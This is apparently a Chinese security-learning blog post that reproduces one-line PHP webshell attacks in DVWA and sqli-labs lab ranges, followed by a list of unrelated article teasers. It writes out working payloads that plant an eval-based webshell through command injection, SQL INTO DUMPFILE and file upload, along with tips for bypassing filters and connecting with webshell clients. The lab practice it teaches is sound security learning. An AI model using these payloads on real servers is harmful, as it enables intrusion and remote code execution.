一句话木马攻击复现:揭示黑客入侵的实战过程
这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。
准备环境
- OWASP虚拟机
- xfp 7与xshell 7
- DVWA系统默认的账号密码均为:admin/admin
1、命令注入中复现
攻击payload
127.0.0.1 | echo "<?php @eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php
这个命令的目的是在服务器上创建一个名为 shell.php 的文件,其中包含 PHP 代码。让我们逐步分析该命令:
-
127.0.0.1: 这是一个IP地址(本地回环地址),代表要连接的目标主机。 -
|:管道符号,用于将前一个命令的输出作为后一个命令的输入。 -
echo "<?php @eval(\$_POST[\"cmd\"])?>": 这是一个echo命令,它将字符串<?php @eval(\$_POST["cmd"])?>输出到标准输出。 -
>:重定向操作符,将前一个命令的输出写入到后一个命令指定的文件中。 -
/var/www/shell.php:这是目标文件路径,表示要将输出写入到/var/www/目录下的名为shell.php的文件。
综上所述,如果成功执行此命令,则会在服务器的 /var/www/ 目录下创建一个名为 shell.php 的文件,并将 <?php @eval(\$_POST["cmd"])?> 的内容写入到该文件中。由于该PHP代码使用了 eval 函数,它会执行用户在 POST 请求(通过 cmd 参数)中输入的命令。
下面是一些常见的命令连接符及其作用:(如果管道符“|”被过滤了就可以使用其他的代替)
-
&:将两个命令并行执行,无论前一个命令是否成功。 -
&&:只有当前一个命令成功执行时,才会执行后一个命令。 -
|:将前一个命令的输出作为后一个命令的输入。 -
||:只有当前一个命令执行失败时,才会执行后一个命令。
复现
在靶机中查看木马文件
最后就能在靶机看到我们的文件了,我们的文件保存在/var/www/目录下,查看方法:
- cd /var/www/ -> ls # 之后就能看到/var/www/下的文件信息
我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件
使用蚁剑或菜刀连接木马
成功进入目标文件管理界面,攻击复现成功
注意:虽然我们的shell.php木马文件存放在/var/www/目录下,但是我们连接只需要使用靶机IP+文件名即可。因为Web服务器已经将根目录设置为 /var/www/,所以不需要在 URL 中显式指定该目录。只需使用 http://<IP地址>/文件名 的格式即可访问该文件。
2、SQL注入中复现
攻击payload
-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --
UNION SELECT 1,1,"<?php @eval(\$_POST[\"cmd\"])?>":这是一个UNION SELECT查询,它将会返回两列。第一列是数字 1,第二列是数字 1,第三列是 PHP 代码<?php @eval(\$_POST["cmd"])?>。这段代码是恶意的,它尝试执行通过 POST 请求传递的cmd参数作为代码进行执行。INTO DUMPFILE "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php":这个部分尝试将查询结果保存到指定的文件路径F:\\phpStudy\\PHPTutorial\\WWW\\shell.php中。这将会创建一个名为shell.php的文件,并将查询结果写入其中。--:这是 SQL 中的注释符号,表示注释掉后续的内容。
总的来说,该语句的目的是将恶意代码写入到 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 文件中,以便在攻击者控制的环境中执行该代码。这种攻击常用于获取未经授权的访问权限、控制目标服务器或进行其他恶意活动。
复现(我这里用sqlilabs靶场)
安装:详细安装sqlmap详细教程_sqlmap安装教程_mingzhi61的博客-CSDN博客
安装完成后打开:http://127.0.0.1/sqlilabs/Less-2/?id=1

本来我是用DVWA靶场复现的搞了半天都搞不定一直提示“用户“dvwa”@“%”的访问被拒绝(使用密码:YES)”解决不了换靶场
1)先判断显示位(测试是否存在SQL注入)
-1 union select 1,2,3 -- -

命令可以使用插件 HackBar 来发送也可以直接粘贴到网络的url中执行(工具本文开头的环境准备可以下载)
2)再判断路径(判断MysQL的存储路径方便我们写入一句话马)
-1 union select 1,@@datadir,3 -- -

3)写入WebShell
-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --
代码执行只要不报错就行成功了

注意:MySQL 服务器默认情况使用了 --secure-file-priv 选项,限制了 INTO OUTFILE 的功能。
解决:你可以尝试以下步骤:
- 打开 phpStudy 的安装目录,找到
my.ini(或my.cnf)配置文件。 - 在配置文件中找到
[mysqld]部分。 - 在
[mysqld]部分添加或修改下列行:
[mysqld] secure-file-priv=""
- 保存配置文件,并重启 phpStudy 中的 MySQL 服务器。
通过将 secure-file-priv 设置为空字符串,你可以移除文件路径限制,允许使用 INTO OUTFILE 语句将查询结果输出到任意位置。
连接

参考文章:SQL注入篇——一句话木马_sql注马语句_admin-r꯭o꯭ot꯭的博客-CSDN博客
3、文件上传漏洞中复现
攻击payload
准备一个木马文件如:cmd.php
<?php @eval($_POST["cmd"])?>
复现


连接
主机IP+/dvwa/hackable/uploads/cmd.php# 注意路径前面要加上dvwa,因为我们是在dvwa靶场上实验的,在虚拟机的WWW目录下有很多个靶场所以我们要指定靶场

相关文章:
一句话木马攻击复现:揭示黑客入侵的实战过程
这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。 准备环境 OWASP虚拟机xfp 7与xshell 7 DVWA系统默认的账号密码均为:admin/admin 1、命令注入中复现 攻击payload 127.0.0.1 | echo "<?php eval(…...
【游戏开发教程】Unity Cinemachine快速上手,详细案例讲解(虚拟相机系统 | 新发出品 | 良心教程)
文章目录 一、前言二、插件下载三、案例1:第三人称自由视角,Free Look character场景1、场景演示2、组件参数2.1、CinemachineBrain:核心2.2、CinemachineFreeLook:第三人称自由视角相机2.2.1、设置Follow:跟随2.2.2、…...
当图像宽高为奇数时,如何计算 I420 格式的uv分量大小
背景 I420 中 yuv 数据存放在3个 planes 中。 网上一般说 I420 数据大小为 widthheight1.5 但是当 width 和 height 是奇数时,这个计算公式会有问题。 I420 中 u 和 v 的宽高分别为 y 的一半。 但是当不能整除时,是如何取整呢?向上还是向下&…...
结构型模式-代理模式
代理模式* 定义:在代理模式(Proxy Pattern)中,一个类代表另一个类的功能。这种类型的设计模式属于结构型模式。在代理模式中,我们创建具有现有对象的对象,以便向外界提供功能接口。 意图:为其…...
SpringBoot+Redis BitMap 实现签到与统计功能
最近项目里需要集成签到和统计功能,连续签到后会给用户发放一些优惠券和奖品,以此来吸引用户持续在该品台进行活跃。下面我们一些来聊一聊目前主流的实现方案。 因为签到和统计的功能涉及的数据量比较大,所以在如此大的数据下利用传统的关系…...
P5739 【深基7.例7】计算阶乘
题目描述 求 n ! n! n!,也就是 1 2 3 ⋯ n 1\times2\times3\dots\times n 123⋯n。 挑战:尝试不使用循环语句(for、while)完成这个任务。 输入格式 第一行输入一个正整数 n n n。 输出格式 输出一个正整数,…...
scikit-learn中OneHotEncoder用法
One-Hot编码,又称为一位有效编码,是分类变量作为二进制向量的表示。这首先要求将分类值映射到整数值,然后,每个整数值被表示为二进制向量,将整数索引标记为1,其余都标为0。 OneHotEncoder()常用参数解释 …...
linux操作系统的权限的深入学习(未完)
1.Linux权限的概念 Linux下有两种用户:超级用户(root)、普通用户。 超级用户:可以再linux系统下做任何事情,不受限制 普通用户:在linux下做有限的事情。 超级用户的命令提示符是“#”,普通用户…...
C 连接MySQL8
Linux 安装MySQL 8 请参考文章:Docker 安装MySQL 8 详解 Visual Studio 2022 编写C 连接MySQL 8 C源码 #include <stdio.h> #include <mysql.h> int main(void) {MYSQL mysql; //数据库句柄MYSQL_RES* res; //查询结果集MYSQL_ROW row; //记录结…...
福利之舞:员工的心跳与企业的平衡术
引言:员工福利与满意度的关系 在现代企业中,员工福利已经不仅仅是一种待遇,而是与员工满意度、忠诚度和生产力紧密相连的关键因素。一个合理且吸引人的福利制度可以大大提高员工的工作积极性,同时也能够吸引和留住顶尖的人才。但…...
MyBatis动态语句且如何实现模糊查询及resultType与resultMap的区别---详细介绍
前言 前面我们学习了如何使用Mybatis实现简单的增删改查。今天我们来学习如何使用动态语句来根据不同的条件生成不同的SQL语句。这在实际开发中非常有用,因为通常查询条件是多样化的,需要根据实际情况来拼接SQL语句,那什么是MyBatis动态语句呢…...
麒麟OS国产系统身份证阅读器web网页开发使用操作流程
1、打开麒麟软件商店,选择驱动,找到身份证阅读器,找到东信智能身份证社保卡读卡器,点击安装。 2、安装完成后,点击打开 3、进入读卡界面 4、进入代码集成 <script type"text/javascript">var ctnFin…...
前端面试:【事件处理】探索事件流、委托与事件对象
嗨,亲爱的事件探险家!在JavaScript的世界中,事件处理是与用户互动的关键。本文将带你探索事件流、事件委托、常见事件类型和事件对象,这些知识将帮助你成为事件处理的大师。 2. 事件流:事件的旅程 事件流描述了事件从…...
c语言函数指针使用例子
一、是什么? c语言函数名是一段代码首地址,连接器链接时放在text段,下面例子会把函数名打印出来,.map文件内存分布查看相关代码段函数: 下面例子实现步骤: 来源于uboot 的初始化 board_f.c typedef int (*init_fun_t)(void); (1)构建gd数据类型 (2)初始化全局gd变量 (3)实…...
云计算技术应用专业实训室建设方案
一、 云计算技术应用系统概述 云计算技术是一种基于互联网的计算模式,通过将计算资源(如服务器、存储、数据库、网络、软件等)提供为一种服务,使用户能够按需获取和使用这些资源,而无需拥有和管理实际的物理设备。云计…...
C语言学习之共用体(union)的运用
C语言中的共用体:伪代码表示: union 类型名{ 数据类型1 成员1; 数据类型2 成员2; 数据类型3 成员3; . . . 数据类型n 成员n; };共用体的特点:1.所有的成员是共享同一块内存空间的2.所有成员的首地址是一样的;3.大小取决于共用体中…...
Sentinel 控制台(集群流控管理)
规则配置 要通过 Sentinel 控制台配置集群流控规则,需要对控制台进行改造。我们提供了相应的接口进行适配。 从 Sentinel 1.4.0 开始,我们抽取出了接口用于向远程配置中心推送规则以及拉取规则: DynamicRuleProvider<T>: 拉取规则Dy…...
matlab中判断数据的奇偶性(mod函数、rem函数)
用Matlab判断一个数是偶数还是奇数 1、mod函数 X 25;%要判断的数 if mod(X,2)1disp(奇数);%奇数 elsedisp(偶数);%偶数 end结果 2、rem函数 n25; if rem(n,2)0display(偶数); elsedisplay(奇数); end结果...
Redis使用
环境配置 代码实现 Java public CoursePublish getCoursePublishCache(Long courseId){//查询缓存Object jsonObj redisTemplate.opsForValue().get("course:" courseId);if(jsonObj!null){String jsonString jsonObj.toString();System.out.println("从缓…...
SkyWalking 10.2.0 SWCK 配置过程
SkyWalking 10.2.0 & SWCK 配置过程 skywalking oap-server & ui 使用Docker安装在K8S集群以外,K8S集群中的微服务使用initContainer按命名空间将skywalking-java-agent注入到业务容器中。 SWCK有整套的解决方案,全安装在K8S群集中。 具体可参…...
【Oracle APEX开发小技巧12】
有如下需求: 有一个问题反馈页面,要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据,方便管理员及时处理反馈。 我的方法:直接将逻辑写在SQL中,这样可以直接在页面展示 完整代码: SELECTSF.FE…...
23-Oracle 23 ai 区块链表(Blockchain Table)
小伙伴有没有在金融强合规的领域中遇见,必须要保持数据不可变,管理员都无法修改和留痕的要求。比如医疗的电子病历中,影像检查检验结果不可篡改行的,药品追溯过程中数据只可插入无法删除的特性需求;登录日志、修改日志…...
java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别
UnsatisfiedLinkError 在对接硬件设备中,我们会遇到使用 java 调用 dll文件 的情况,此时大概率出现UnsatisfiedLinkError链接错误,原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用,结果 dll 未实现 JNI 协…...
[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...
DIY|Mac 搭建 ESP-IDF 开发环境及编译小智 AI
前一阵子在百度 AI 开发者大会上,看到基于小智 AI DIY 玩具的演示,感觉有点意思,想着自己也来试试。 如果只是想烧录现成的固件,乐鑫官方除了提供了 Windows 版本的 Flash 下载工具 之外,还提供了基于网页版的 ESP LA…...
基于Docker Compose部署Java微服务项目
一. 创建根项目 根项目(父项目)主要用于依赖管理 一些需要注意的点: 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件,否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...
均衡后的SNRSINR
本文主要摘自参考文献中的前两篇,相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程,其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt 根发送天线, n r n_r nr 根接收天线的 MIMO 系…...
初学 pytest 记录
安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...
深度学习习题2
1.如果增加神经网络的宽度,精确度会增加到一个特定阈值后,便开始降低。造成这一现象的可能原因是什么? A、即使增加卷积核的数量,只有少部分的核会被用作预测 B、当卷积核数量增加时,神经网络的预测能力会降低 C、当卷…...
